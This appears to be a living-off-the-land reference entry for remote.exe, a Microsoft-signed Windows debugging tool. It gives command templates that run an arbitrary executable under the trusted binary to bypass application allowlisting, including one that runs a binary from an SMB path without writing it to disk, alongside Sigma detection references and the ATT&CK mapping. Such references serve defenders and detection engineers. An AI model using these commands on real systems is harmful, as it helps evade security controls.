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AWL bypass (EXE)

Execute (EXE, Remote)

Debugging tool included with Windows Debugging Tools

Paths:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe

Resources:

https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/

Acknowledgements:

mr.d0x (@mrd0x)

Detections:

IOC: remote.exe process spawns
Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml

AWL bypass

Spawns specified executable as a child process of remote.exe
```
Remote.exe /s {PATH:.exe} anythinghere
```
Use case
Executes a process under a trusted Microsoft signed binary

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Operating systems
Windows

ATT&CK® technique
T1127
Tags
Execute: EXE

Execute

Spawns specified executable as a child process of remote.exe
```
Remote.exe /s {PATH:.exe} anythinghere
```
Use case
Executes a process under a trusted Microsoft signed binary

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User

Operating systems
Windows

ATT&CK® technique
T1127
Tags
Execute: EXE
Run a remote file
```
Remote.exe /s {PATH_SMB:.exe} anythinghere
```
Use case
Executing a remote binary without saving file to disk

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User

Operating systems
Windows

ATT&CK® technique
T1127
Tags
Execute: EXE
Execute: Remote